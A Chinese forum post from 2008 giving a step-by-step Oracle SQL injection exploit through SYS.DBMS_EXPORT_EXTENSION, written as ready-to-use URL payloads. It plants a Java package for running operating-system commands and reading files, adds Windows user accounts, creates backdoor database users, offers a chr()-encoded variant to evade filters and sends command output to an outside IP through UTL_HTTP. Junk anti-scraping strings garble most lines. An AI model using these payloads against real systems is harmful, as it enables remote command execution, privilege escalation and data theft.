以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
5 y0 b9 t4 P3 ?) E1 |
( t8 ~8 r. V' Q+ [! u /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) + ^1 q8 b1 x( i8 j: h
的形式即可。(用" 'a'|| "是为了让语句返回true值)
4 R5 w6 f* W6 g& ?# ]- H语句有点长,可能要用post提交。 7 W- b" U- R! }
以下是各个步骤:
$ P9 K7 i' i- Q7 M7 S1.创建包
. r; X4 @$ y7 B# V; i' X: x1 J通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
, d( X% w/ s9 J" A0 C8 {/xxx.jsp?id=1 and '1'<>'a'||(
: V3 z5 s* v5 I7 R6 e; G9 \select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 U8 J9 A2 ]) ?' fcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
5 b* `; B' E( a! ~* b& K% _6 ~ Enew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}( y4 X+ d1 C8 M9 V, F
}'''';END;'';END;--','SYS',0,'1',0) from dual 6 E# \& r3 }# r6 g; d* P# @6 B
) ! ~# z* g* s8 f2 x/ O7 ]5 \; b$ Y
------------------------ & E! R4 ?" t8 g+ ~
如果url有长度限制,可以把readFile()函数块去掉,即:
& q. k, Q6 R% X% o% V/xxx.jsp?id=1 and '1'<>'a'||(
z& w2 B3 C0 kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; [$ A4 D% ~+ T' Kcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
, L# l( a! \2 t# z# k& z, Fnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
% k7 g C: ~5 e8 H _2 W+ Z}'''';END;'';END;--','SYS',0,'1',0) from dual
8 i6 p* ]* w+ c: j- a) 3 S: {2 |) o: w- N/ `# Y( U5 ~
同时把后面步骤 提到的 对readFile()的处理语句去掉。 6 h( w/ L: r: l \3 J
------------------------------
$ c8 L- _5 V& ^* X2.赋Java权限 " \7 M6 E& j' M+ `: s
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
' W$ k7 ~( a- b; Q* T' A' }3.创建函数 5 E- o1 m" E! h w1 }
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# [6 o3 f) _: J8 I0 f( }create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
( u3 I% C* D4 F0 `: D; l5 T, Iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
4 @4 t6 q3 Y4 G1 w Z; j- j! Gcreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
% ~- u5 z+ p" h; q4.赋public执行函数的权限 9 `& F0 m8 Y6 S
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
- W* T" K; s9 q' t: E$ [select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual* r- w2 H' ]) F: B
5.测试上面的几步是否成功 # F5 ?. O- y% L7 A1 K& ?
and '1'<>'11'||(
0 R/ v' P; @. \- i! N5 `, uselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
$ x! h7 {% o/ X( \- \# |. X) 5 g& a) s( E1 n9 c W% i
and '1'<>( 3 h0 p M$ h3 }: i" v- a, E; g
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
. N/ z. V/ A) R- |. s6 m3 p# _# K0 k) * n+ J# e+ _* [* a" h# O8 W4 q
6.执行命令: 6 f/ i& U1 V. y7 E7 I( S l% q
/xxx.jsp?id=1 and '1'<>(
N! y( P9 q6 v* H4 R( A! _select sys.LinxRunCMD('cmd /c net user linx /add') from dual 0 |, }& A- W- y1 q) @: ^% z
- _, p Y D3 ?" A
)
* g1 y: Z- ]3 U! s/xxx.jsp?id=1 and '1'<>( 4 b3 e: F, F0 O @5 b! G
select sys.LinxReadFile('c:/boot.ini') from dual( D! j6 W( k% p8 [
E- K* ^5 o& } B. A9 L)
9 h0 R0 v' X/ q3 p6 w- t
( A- a7 t2 e' m2 T: Q. a; T0 U注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
, g' a; D0 g! T+ e0 w8 m如果要查看运行结果可以用 union : - C/ s: G: G% p
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
% {% y; n$ F0 t+ K J7 |/ s或者UTL_HTTP.request(: " a+ F# R1 p! K
/xxx.jsp?id=1 and '1'<>( ) k. K( Z4 j2 o; y l5 |( n
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
8 y& l$ r. Z6 h: n- p# `/ j)
5 P( S+ @' q6 i/xxx.jsp?id=1 and '1'<>( 1 p2 d$ h+ {8 h$ B
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual: Z1 _ R6 x4 G# w0 d2 m6 z
)
6 F+ \' i" S4 F" u# Z注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。8 Y0 p: V; f e$ o% |, }3 J
-------------------- $ ~+ b$ H4 a) {' b& m- x
6.内部变化
$ R e; k M6 J通过以下命令可以查看all_objects表达改变:
4 q8 G6 M& b+ ?1 f6 w9 W+ Y/ {select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'+ ]% m: L$ \7 X+ ^& J/ G: p
7.删除我们创建的函数
9 n% e) x' _" w ]5 N- _: Xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''': Y* g4 H/ i* b6 h& K ?
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual 7 K% U( |4 l3 l* G, o
==================================================== 4 }/ z, v/ S2 p2 Q) N) Y
全文结束。谨以此文赠与我的朋友。
4 I. r5 Q! z `; y; J2 Tlinx
7 Z+ m' P$ ^/ c4 B7 M8 l124829445 ) p _4 S% N3 ~! d! i: Q9 d
2008.1.12 : h1 P. \# D7 e1 Z* X, E
linyujian@bjfu.edu.cn
4 G2 _+ e: M Y====================================================================== ; s! P8 H3 u$ l. K' Q, I5 |
测试漏洞的另一方法: 1 S2 R7 u1 @# i! i' x4 G; j
创建oracle帐号:
( `- C9 ], {, ^, l" l4 pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' O/ z5 d* z4 n* o8 K
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
6 a2 D& m* I2 a$ c9 L ]) w7 C3 c即: 5 w- B' |/ Y. l5 w) X" @- J
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
7 }( _2 @$ z, b; T5 jchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
1 W i; A$ A* |确定漏洞存在:
$ q1 p9 Z+ o# i: g. N; t2 z1<>( 9 X0 W, n) d3 h& W. G& v
select user_id from all_users where username='LINXSQL' 9 {- C* t& p$ D* D
) 0 l4 A/ M* k- X( O
给linxsql连接权限:
: ?; x/ ]. |# h* w5 lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 b+ I& c$ o& ^ @" r9 b1 I# T6 u
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual , l1 b2 l9 A3 ~% G0 X" b9 }( @; q
删除帐号:
! \! @0 p1 S# \: K) M/ N0 R( }select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''4 ^, e4 s8 R+ X: [5 Q
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
4 h- |& `6 i( R' i======================
& c, o9 @3 _" P- B4 `以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:* u4 K* i+ n8 o- S4 I
1.jsp?id=1 and '1'<>( 1 ~8 W5 t3 o4 `2 e1 R% \
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
% `. h7 O& U% G/ b8 h/ P- _create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual9 d4 L% O4 q; n9 E
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE% j, H1 K9 Q, ], D6 i3 r# O
)* D J* `2 m$ Q, t
/ n6 F! D& L5 C' x: a; G
' L- D' L9 @, w; h
4 ?' ?) _+ X6 o" a
|